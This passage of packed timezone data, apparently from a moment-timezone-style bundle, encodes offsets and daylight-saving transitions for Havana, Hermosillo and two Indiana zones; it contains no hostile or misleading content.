1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|39e4","America/Havana|LMT HMT CST CDT|5t.s 5t.A 50 40|0123232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-3eLuu.w 1qx00.8 72zu.o ML0 sld0 An0 1Nd0 Db0 1Nd0 An0 6Ep0 An0 1Nd0 An0 JDd0 Mn0 1Ap0 On0 1fd0 11X0 1qN0 WL0 1wp0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 14n0 1ld0 14L0 1kN0 15b0 1kp0 1cL0 1cN0 1fz0 1a10 1fz0 1fB0 11z0 14p0 1nX0 11B0 1nX0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 14n0 1ld0 14n0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 1a10 1in0 1a10 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1cM0 1cM0 1fA0 17c0 1o00 11A0 1qM0 11A0 1o00 11A0 1o00 14o0 1lc0 14o0 1lc0 11A0 6i00 Rc0 1wo0 U00 1tA0 Rc0 1wo0 U00 1wo0 U00 1zc0 U00 1qM0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0|21e5","America/Hermosillo|LMT MST CST MDT PST|7n.Q 70 60 60 80|0121312141313131|-1UQF0 deL0 8lc0 17c0 10M0 1dd0 otX0 gmN0 P2N0 13Vd0 1lb0 14p0 1lb0 14p0 1lb0|64e4","America/Indiana/Knox|LMT CST CDT CWT CPT EST|5K.u 60 50 50 50 50|01212134121212121212121212121212121212151212121212121212121212121212121212121212121212121252121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 3NB0 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 1cL0 1cN0 11z0 1o10 11z0 1o10 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 3Cn0 8wp0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 z8o0 1o00 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Indiana/Marengo|LMT CST CDT CWT CPT EST EDT|5J.n 60 50 50 50 50 40|01212134121212121212121215656565656525656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 dyN0 11z0 6fd0 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 jrz0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1VA0 LA0 1BX0 1e6p0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 